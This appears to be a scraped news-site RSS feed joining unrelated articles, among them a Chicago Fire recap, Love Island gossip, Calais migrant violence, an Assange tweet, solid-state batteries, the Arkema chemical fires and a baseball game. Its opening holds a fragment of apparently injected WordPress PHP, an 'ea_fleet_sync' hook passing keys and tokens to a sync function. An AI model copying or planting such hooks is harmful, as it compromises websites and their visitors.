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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ignites – Brief News https://briefnews.eu Latest World News. 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It’s been a long wait, but Chicago Fire‘s Casey and Brett finally made some major progress in their “will they or won’t they?” relationship during Wednesday’s episode.

Following last week’s ambulance crash, Casey jumps out of the moving fire truck and over the street railing to get to Brett (and Gianna, but mostly Brett). Later, once they’re all safely back at the firehouse, Brett asks Casey how he got to the accident site so fast all by himself. Casey insists that the others were there, too, but Brett only remembers seeing him, at first.

“It’s always been you,” she says, then quickly tries to save face by adding, “I mean, you’re always the one who’s there for me when I’m in a crisis… Thank you for being such a good friend.”

While chatting with Stella, Brett freaks out about the fact that she basically just blurted out that she’s in love with Casey. Stella doesn’t think that’s such a bad thing, but Brett keeps saying she can’t feel that way about him.

As for Casey, he awkwardly asks Brett if she’s up for going to Molly’s that night. (Herrmann and Mouch are not impressed by the locker room exchange.) At the bar, Gallo recounts Casey’s quick response when he thought Brett was in danger, and Brett is visibly surprised and moved by the story. She and Casey exchange smiles across the table — until she abruptly excuses herself and makes up some story about having to meet a friend.

When Casey confronts Brett at her apartment, she admits she was avoiding him so she wouldn’t kiss him — and then she plants one on him! And it doesn’t end there: The pair start undressing and make their way to the couch, where they both confess they’ve been wanting this for a long time. Unfortunately, Brett interrupts the moment to ask Casey a question: If Gabby came back and asked him to leave with her, would he go?

“I haven’t talked to her in a long time,” Casey says, to which Brett replies that’s not an answer. So Casey says, “I don’t know.”

Brett thanks him for being honest. The situation is complicated and she thinks he should leave, so he does. Welp, that ended quickly.

Fire fans, what did you think of the big Brett/Casey moment?

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]]> https://briefnews.eu/chicago-fire-ignites-casey-and-bretts-relationship-but-theres-a-hitch/feed/ 0 Love Island 2019: Belle Hassan ignites Molly-Mae feud after Anton comments exposed? https://briefnews.eu/love-island-2019-belle-hassan-ignites-molly-mae-feud-after-anton-comments-exposed/ https://briefnews.eu/love-island-2019-belle-hassan-ignites-molly-mae-feud-after-anton-comments-exposed/#respond Mon, 22 Jul 2019 04:11:53 +0000 http://briefnews.eu/love-island-2019-belle-hassan-ignites-molly-mae-feud-after-anton-comments-exposed/

A preview for tomorrow night’s Love Island episode aired at the end of tonight’s instalment of the ITV programme.

In the clip, Belle was seen throwing a drink over Molly-Mae during the headlines challenge.

Molly-Mae looked less than impressed as she reeled from the moment as Belle looked to be laughing.

Some viewers think Belle could be retaliating after learning about comments Molly-Mae made last week about Anton and Belle’s relationship.

The pair suffered a huge falling out before quickly reconciling which led Molly-Mae to question whether their relationship was genuine.

“OMFG YES BELLE CHUCKING A DRINK AT MOLLY! 100% FOR THAT COMMENT ABOUT HER AND ANTON BEING FAKE WOOOHOOOOO FINALLY SOME GOOD F****N ACTION #loveisland,” one fan tweeted.

Another guessed: “I reckon belle found out molly was slagging off her and Antons relationship, girls find out everything #loveisland.”

“Belle throwing water over molly mae is definitely about when she said it was weird they made up so quickly after that fight #LoveIsland,” a third mused.

“Belle deffo found out about mollys sly comments #loveisland,” a fourth asserted.

However, other viewers pointed out that it could well be part of the challenge.

READ MORE: Love Island 2019: Michael Griffiths’ lies to Amber exposed as he makes Joanna admission?

“Part of the game they’re doing,” one viewer stated.

A second shared: “No I want to know why belle threw the water in molly’s face????! It seems like a challenge but she looked p*****d #loveisland.”

“But it looked like a challenge for belle to throw the water at molly?! #loveisland,” a third questioned.

While a fourth commented: “Belle dashing a drink in Molly Mae’s face was defo part of a challenge but her reaction spun me looool #LoveIsland.”

“Everyone wondering why Belle throws water at Molly knowing it’s a challenge they do every year to throw water in the face who they think the tweets about #LoveIsland,” a fifth added.

Viewers will have to wait until tomorrow to find out what really unfolds between the two blonde bombshells.

Tonight’s instalment saw Michael Griffiths and Francesca Allen booted from the Islander after falling into the bottom three couples following viewers voting for their favourite couple.

Michael and Francesca were joined in the bottom by Jordan Hames and Anna Vakili as well as Chris Taylor and Harley Brash.

The top couples had to pick who they wanted to stay with all pairs voting for Anna and Jordan apart from Ovie Soko and India Reynolds who went for Chris and Harley.

Love Island continues tomorrow at 9pm on ITV2.

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It was business as usual for Davina, who was professionally making her way through tonight’s Sport Relief telethon. 

The 50-year-old had just finished reading out the all important numbers when she was joined by her co-stars for the evening, Gary Linekar and Ore Oduba.

However as the pair walked out on stage, a small bang could be heard and the three of them gasped. 

Davina yelled: “Oh that was the pyros!

“We should probably get somebody to check those,” she asked. 

Gary giggled: “They’re now aiming at us!”

Professional Davina added: “Let’s wait to do the totaliser.

“We’ve got the man, it’s fixed – it’s sorted!” she explained.

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]]> https://briefnews.eu/rash-flash-ignites-manchester-united/feed/ 0 ‘Starting to get scary’: Calais residents fear more violence after gunfire ignites mass migrant braw https://briefnews.eu/starting-to-get-scary-calais-residents-fear-more-violence-after-gunfire-ignites-mass-migrant-braw/ https://briefnews.eu/starting-to-get-scary-calais-residents-fear-more-violence-after-gunfire-ignites-mass-migrant-braw/#respond Sat, 03 Feb 2018 04:58:04 +0000 http://briefnews.eu/starting-to-get-scary-calais-residents-fear-more-violence-after-gunfire-ignites-mass-migrant-braw/ The mass brawls between African and Afghan migrants in the French port city of Calais Thursday have prompted residents to call on the government to step in, telling RT they have been living in fear for years.

Five migrants suffered gunshot wounds after fierce clashes erupted Thursday afternoon. Arguments between Eritrean and Afghan migrants at a food distribution point spiraled into violence after an Afghan man fired shots, seriously injuring some African migrants.

The showdown between the two groups continued in several other locations in and around the city. A total of 22 migrants suffered stab wounds and other injuries during the fracas.

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Interior minister Gerard Collomb travelled to Calais in the wake of the violent flare-up and conceded that the situation has become “intolerable for the people of Calais and migrants.” The immigrant problem in Calais has persisted despite the infamous “Jungle” refugee camp being dismantled in 2016.

Calais residents told RT that migrant-related violence has become a common occurrence, disrupting their way of life and forcing them to be on guard all the time. “There is a lot of delinquency here. Vehicles get damaged. Every day we have issues. Young girls can’t go out alone at night,” a local man said.

Another resident described the current situation as “a catastrophe for the French, especially for the people of Calais.”

“The violence is really damaging. Residents of Calais have lived in fear for several years now,” she said.

After the “Jungle” was demolished, about 6,000 migrants were transferred to shelters across France. The move did not solve the problem, however. It’s estimated that up to 800 migrants are still living in Calais, setting up makeshift camps with hopes to cross over the English Channel into Britain.

While the inflow of migrants has dwindled, the ones who remain poses an even bigger threat, a woman told RT. “Those coming here now are a bit different from the refugees who were coming here initially. They are more violent and aggressive. We are vigilant,” she said.

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The violence has not subsided over the years, another woman agreed. “People are still being shot. It’s still dangerous. And it’s true that people who live near this area are constantly being disturbed.”

Scuffles between migrants are not new in Calais, but the use of firearms by migrants signals a turning point, since migrants typically have no means to buy guns. “It’s starting to get scary. Firearms. We are not in the United States here. There is still a country where weapons are banned,” a man said.

Authorities suspect that the man who opened fire Thursday was a human trafficker from Afghanistan. Smugglers started shooting when they “got angry” that some of the migrants did not have money, a witness to the incident told AFP.

Collomb laid the blame on “totally organized” migrant gangs and traffickers for inciting the violence. “These networks must be broken up,” he said. In response, Collomb dispatched two extra police units to Calais and said a new migrant bill would be drafted by the government in the next few weeks. The system of meal handouts previously managed by charity groups would be placed under government control to prevent further violent clashes, the interior minister said.

The latest outbreak of violence in Calais comes two weeks after French President Emmanuel Macron secured a deal with British PM Theresa May to bolster border controls between France and Britain. Macron reiterated Paris’ zero tolerance attitude towards illegal migrants, but promised to open new reception centers and to handle the situation in a “humane and efficient manner.”

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]]> https://briefnews.eu/starting-to-get-scary-calais-residents-fear-more-violence-after-gunfire-ignites-mass-migrant-braw/feed/ 0 ‘More records than the KGB’: Cryptic Assange tweet ignites concern for wellbeing https://briefnews.eu/more-records-than-the-kgb-cryptic-assange-tweet-ignites-concern-for-wellbeing/ https://briefnews.eu/more-records-than-the-kgb-cryptic-assange-tweet-ignites-concern-for-wellbeing/#respond Mon, 01 Jan 2018 11:08:19 +0000 http://briefnews.eu/more-records-than-the-kgb-cryptic-assange-tweet-ignites-concern-for-wellbeing/

A Julian Assange tweet featuring a 60 character code and a YouTube link to a popular rap song has sparked a frenzy of speculation about the meaning of the message and the wellbeing of the WikiLeaks founder.

The 46-year-old published the tweet in the early hours of Monday morning. The peculiar post, which lacked any apparent context, triggered a flurry of speculation on Twitter and on message boards.

Many wondered if Assange had died and the code was a “dead man’s switch” which would release the organization’s “insurance” files, while others said it was an encryption key signalling that WikiLeaks was set to release a fresh batch of leaked files.

An encryption key is a random collection of numbers and figures used for protecting and unlocking data. The longer the key is, the harder it is to crack. The string can be unravelled into its original form with the right key.

Assange’s choice of song has also inspired much theorizing among WikiLeaks watchers. The popular MIA number contains numerous interesting lyrics such as “If you catch me at the border I got visas in my name,” and “I’ve got more records than the KGB, So, uh, no funny business”.

There are also references to “pirate skulls and bones” and dozens of gunshot and cash register noises on the track. Many wondered who exactly Assange could be targeting with such references.

The Ecuadorian Embassy in London, where Assange has resided since 2012, was unable to comment on the WikiLeaks founder’s wellbeing when contacted by RT.com on Monday.

The message comes following a strange week for Assange on Twitter. On Christmas Day, his account was mysteriously deleted and the US Navy tweeted: “Julian Assange” from its official profile. WikiLeaks even took the step of confirming that Assange was fine. His account was restored later in the day. 

READ MORE: Assange’s handle re-emerges after ‘Twitter oddities’ & weird US Navy post    

While Monday’s message seemed bizarre, it’s not the first time WikiLeaks has published lengthy character codes on Twitter. In October 2016, the organization published three “pre-commitments” regarding then-US Secretary of State John Kerry, Ecuador, and the UK’s Foreign and Commonwealth Office.

In that instance, Gizmodo reported that the “pre-commitments” were a mechanism to ensure that unreleased information isn’t tampered with, as altering the information would also change the codes. Whistleblower Edward Snowden has also used the tactic, tweeting, and subsequently deleting, a similar message in August 2016.  

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]]> https://briefnews.eu/more-records-than-the-kgb-cryptic-assange-tweet-ignites-concern-for-wellbeing/feed/ 0 Bracing for EV shift, NGK Spark Plug ignites all solid-state battery quest https://briefnews.eu/bracing-for-ev-shift-ngk-spark-plug-ignites-all-solid-state-battery-quest/ https://briefnews.eu/bracing-for-ev-shift-ngk-spark-plug-ignites-all-solid-state-battery-quest/#respond Fri, 22 Dec 2017 22:07:26 +0000 http://briefnews.eu/bracing-for-ev-shift-ngk-spark-plug-ignites-all-solid-state-battery-quest/

NAGOYA, Japan – Facing the eventual demise of gasoline engines, the world’s biggest maker of spark plugs is turning its focus to a component it believes will be just as vital in the coming era of electric vehicles – next-generation all solid state batteries.

Japan’s NGK Spark Plug Co has for years leveraged its expertise in ceramics technology used in spark plugs to expand into sensors, semiconductors and other products mainly for automobiles.

Now, it sees a future in all solid-state batteries, which experts believe will be safer and more powerful than the lithium-ion batteries currently used in battery electric vehicles (EVs).

After dominating transport for 150 years, the internal combustion engine is facing the end of the road in the coming decades as tightening global emissions regulations force automakers to develop more electric cars.

“We realized that it was inevitable that the industry would at some point shift from the internal combustion engine to battery EVs, and that ultimately this could make our spark plug and oxygen sensor businesses obsolete,” Takio Kojima, senior general manager of engineering and R&D at NGK Spark Plug told Reuters in an interview.

“Our expertise is in advanced ceramics, and so we have decided to pursue all solid-state batteries.”

Established in 1936 and based in Japan’s automaking heartland of Nagoya, NGK Spark Plug’s realization that its main business faced obsolescence came around 2010, Kojima said.

That was the year Nissan Motor Co rolled out the Leaf, the first mass-production all battery EV, and just after Tesla Inc came out with the Roadster, its first production car.

Other global parts suppliers are also scrambling to overhaul their product portfolios.

In Japan, Denso Corp has teamed up with Toyota Motor Corp and Mazda Motor Corp to develop battery EVs while transmission maker Aisin Seiki Co is developing hybrid transmission systems and EV-specific, four-wheel-drive units.

In the United States, powertrain products maker Borg Warner has expanded into hybrid and electric car parts, including transmissions and drive modules for electric cars.

Industry experts anticipate plug-in hybrid petrol-electric vehicles and all-battery EVs will account for as much as 26 percent of global car sales by 2030, versus just over 1 percent last year, data from the International Energy Agency shows.

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The rise in EV use will require a steep increase in manufacturing capacity for longer-life batteries which are more powerful, lighter and can charge quicker than conventional lithium-ion batteries.

NGK Spark Plug joins Toyota and other companies developing all solid-state car batteries, which offer more capacity and better safety than conventional lithium-ion batteries by replacing their liquid or gel-like electrolyte with a solid, conductive material.

Toyota is developing batteries with sulfide-based solid electrolytes, which offer high conductivity and are relatively flexible but can release toxic hydrogen sulfide when exposed to moisture.

NGK Spark Plug is betting on a different technology with an oxide-based chemistry using ceramics which is highly stable at extreme temperatures, but has less conductivity. In addition, brittle ceramics can be difficult to process.

Japan’s TDK Corp has developed small, ceramic, all solid-state batteries for use mainly in wearable devices like personal fitness monitors, while Murata Manufacturing Co is developing similar products.

But NGK Spark Plug has bigger plans, developing a larger format necessary for cars.

“It’s relatively easy to work in smaller sizes, but when you get to larger sizes it gets very difficult to assemble each layer because it’s difficult to make each layer the same thickness,” said Hideaki Hikosaka, a member of NGK Spark Plug’s solid state battery R&D team.

The company has spent the past five years developing a solid, oxide-based electrolyte which incorporates an additional material to make it resemble a sulfide-based one.

This makes the electrolyte easier to process into larger, thin layers which are compressed, making them easier to stack with anodes and cathodes.

“It’s because of the addition of that material that we’re able to process layers using compression (rather than sintering) to make a bigger, oxide-based battery cell. At the same time, it doesn’t release any gases like sulfides do,” Hikosaka said.

As a result, the company has developed a 10 cm by 10 cm battery pouch cell, much bigger than 4.5 mm by 3.2 mm cells developed by TDK.

NGK Spark Plug declined to comment on the material used in its oxide compound and the capabilities of its battery.

Hikosaka said his team was working to raise the battery’s energy density to enable it to match the performance of lithium ion batteries by around 2020, and to develop more powerful, lighter and competitively priced batteries “in the 2020s.”

Battery experts believe producing affordable, all solid-state batteries in the 2020s, a target also shared by Toyota, is ambitious given the challenges of achieving a fine balance between numerous performance characteristics.

Once they do come to market, some experts believe competition between batteries based on oxides, sulfides, and other chemistries would likely heat up, as producers vie to deliver batteries with diverse specifications.

“If these chemistries can compete and win against lithium-ion and we see a shift to all solid-state, we might see a diversification in the materials used in them, as in lithium-ion batteries,” said Venkat Srinivasan, director of the Argonne Collaborative Center for Energy Storage Science in Illinois.

“Some automakers and battery makers might be more interested in conductivity than oxidative stability, for example … Batteries are all about compromise. You’re not going to hit every metric.”

Reporting by Naomi Tajitsu and Maki Shiraki.

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HOUSTON (AP) — Thick black smoke and towering orange flames shot up Friday after two trailers of highly unstable compounds blew up at a flooded Houston-area chemical plant, the second fire there in two days.

Arkema says Harvey’s floodwaters engulfed its backup generators at the plant in Crosby and knocked out the refrigeration necessary to keep the organic peroxides, used in such products as plastics and paints, from degrading and catching fire. Arkema executive Richard Rennard said two containers caught fire Friday evening, and that there are six more it expects will eventually catch fire.

Arkema spokeswoman Janet Smith said that the company expects the rest of the containers will ignite “within a matter of days.”

Preliminary analysis of data captured by Environmental Protection Agency surveillance aircraft Friday did not show high levels of toxic airborne chemicals, agency spokesman David Gray said. No serious injuries were reported in the last two days as a result of the fires.

The height and color of the flames from the plant Friday suggested incomplete combustion of the organic peroxides, Texas A&M chemical safety expert Sam Mannan said. With complete combustion, he said, the byproduct is carbon dioxide and water, posing about the same amount of risk as standing too close to a campfire. But incomplete combustion implies something else is burning.

The fire burned not just the organic peroxides but also the plastic packaging, insulation, and the materials used to construct the trailers, Smith said.

Daryl Roberts, the company’s vice president of manufacturing, technology and regulatory services in the Americas, told The Associated Press on Wednesday that the floodwater inundating the plant would cause any toxins produced by the fire to quickly vaporize. By Friday, the water had receded but Smith could not comment on whether that had changed the calculation of risk.

A 1½-mile buffer around the plant was established Tuesday when Arkema warned that chemicals kept there could explode. Employees had been pulled, and up to 5,000 people living nearby were warned to evacuate. Officials remain comfortable with the size of the buffer, Rachel Moreno, a spokeswoman for the Harris County Fire Marshal Office, said Friday evening.

Smith reiterated statements executives made earlier Friday that the safest course of action was simply to “let these fires happen and let them burn out.”

harvey houston chemical plantAPArkema officials did not directly notify local emergency managers of the generator failure, Moreno said. It instead came by way of the plant’s ride-out crew, who told the Crosby Volunteer Fire Department about it when they were rescued during the storm, she said.

In a conference call with reporters Friday, Arkema President and CEO Rich Rowe apologized and said he was sending a team of employees to Crosby to figure out how best to assist locals.

“I realize this is not a situation that we can help remedy overnight,” he said.

Early Thursday, two blasts blew open a trailer containing at least 2 tons of material, sending up a plume of black smoke and flames 30 to 40 feet high in the tiny town of Crosby, about a half-hour from Houston, authorities said. The Texas environmental agency called the smoke “especially acrid and irritating” and said it can impair breathing and inflame the eyes, nose and throat.

Questions persisted Friday about the adequacy of Arkema’s master plan to protect the public in the event of an emergency in flood-prone Houston, a metropolitan area of about 6 million people.

The plant is along a corridor with one of the nation’s greatest concentrations of refineries, pipelines and chemical plants. A 2016 analysis led by Texas A&M University researchers identified Arkema’s facility as posing one of the region’s biggest risks, based on such factors as the type and amount of chemicals and the population density.

In accident plans Arkema submitted to the EPA in 2014, executives said a hurricane and a power loss were potential hazards. Yet the plans, which were supposed to address worst-case scenarios, didn’t explain what Arkema would do if faced with either.

Executives also acknowledged Friday that they didn’t have materials at the plant that could have neutralized the organic peroxides.

Instead, workers were forced to scramble and move the chemicals away from floodwaters after buildings were engulfed and power was lost. Workers transferred the compounds to refrigerated containers, but those failed, too, causing Thursday’s fire.

chemical plant harveyAPAfter days of questions about what was in its chemical inventory, the company posted a list of them on its website Friday, though not the amounts on hand. Asked why it hadn’t shared the information sooner, Rowe said, “We’re managing our way through a crisis.”

State and federal regulators have cited Arkema for safety and environmental violations at the Crosby plant dating back more than a decade, records show.

Texas’ environmental commission penalized the plant at least three times. In June 2006, Arkema had failed to prevent unauthorized emissions during a two-hour warehouse fire. Records show a pallet of organic peroxide was poorly stored, resulting in the blaze, and more than a ton of volatile organic compounds were discharged.

More recently, the U.S. Occupational Safety and Health Administration in February fined Arkema nearly $ 110,000 — later reduced to just over $ 90,000 — because of 10 serious safety violations found during an inspection.

“We don’t have a perfect record, we understand that,” Rowe said. “We strive to get better at every turn and will continue to do so.”

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The alleged source of the animated GIF of Donald Trump beating down WWE Chief Executive Vince McMahon with a CNN logo superimposed on McMahon’s face deleted many of his posts to Reddit. He also issued an apology on /r/the_donald for his trolling activities after being tracked down by the production team of CNN’s KFile.

CNN reported on the source, who uses the Reddit username “HanAssholeSolo,” and reserved the right to expose his identity later if he did not change his online behavior.

CNN is not publishing “HanA**holeSolo’s” name because he is a private citizen who has issued an extensive statement of apology, showed his remorse by saying he has taken down all his offending posts, and because he said he is not going to repeat this ugly behavior on social media again. In addition, he said his statement could serve as an example to others not to do the same.

CNN reserves the right to publish his identity should any of that change.

That implied threat led to a widespread negative response, with some accusing CNN of bullying or blackmail. Hacker, troll, and self-described white supremacist Andrew “eev” Aurheimer has threatened, through the white supremacist site The Daily Stormer, to “dox” CNN’s reporting team and its family members. Aurheimer is a fan of the Trump tweet, including the photoshopped WWE video.

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Credit Cincinnati Reds manager Bryan Price for having a sense of humour after his team was on the receiving end of a 17-2 pasting from the Toronto Blue Jays.

“It could have been worse,” Price said. “Their third-base coach was compassionate enough to not keep wheeling guys in to score.”

Toronto scored early and often in the opener of the three-game interleague series Monday night at Rogers Centre. Russell Martin hit a two-run homer in the second inning off starter Lasalverto Bonilla, Troy Tulowitzki belted a grand slam in the third and Justin Smoak tacked on a three-run shot in the fourth.

When it was all over, the Blue Jays (24-27) nearly doubled their season high for runs scored and finished with 23 hits, good for the third-most in franchise history.

‘Those games are rare’

Devon Travis and Ezequiel Carrera had four hits apiece and Kendrys Morales scored four runs as Toronto won for the sixth time in seven games.

“Those games are very rare at the big-league level,” said Blue Jays manager John Gibbons. “So enjoy it when you get them.”

The Reds opened the scoring with a run in the first inning and Adam Duvall hit a solo shot in the sixth inning off Blue Jays starter Marcus Stroman, who picked up his team-leading sixth win of the year.

But this game was essentially over by the midway point.

Tulowitzki’s second homer of the season — and fourth grand slam of his career — put a charge in the Rogers Centre crowd of 29,844. Smoak turned it into a laugher with his 12th homer of the campaign.

“I got a good pitch to hit, put a good swing (on it) and kind of broke the game open,” Tulowitzki said.

Stroman not surprised Blue Jays heating up

The final scoreline could have been even more inflated as the Blue Jays left 13 men on base. Toronto improved to 3-1 on its 10-game homestand.

“I’m not surprised by any means,” Stroman said. “I know what this team is capable of. We’ve had the same mentality from the very beginning. There’s been a lot of external opinions but they never affect our internal mentality.

“So we’ve been good from the beginning. We’re just getting hot now.”

As powerful as the Blue Jays’ offence was, Cincinnati (24-26) didn’t do itself any favours in the field.

Reds reliever Robert Stephenson was called for a balk. Third baseman Eugenio Suarez was called for obstruction. Shortstop Jose Peraza couldn’t get the ball out of his glove on a routine grounder. Centre-fielder Arismendy Alcantara blew an attempted catch on the warning track.

At least the Reds can look forward to a clean slate for Tuesday night’s rematch.

Stroman (6-2) allowed five hits and two earned runs while striking out five. Bonilla (0-3) issued five walks and allowed three hits and six earned runs over 2 1/3 innings.

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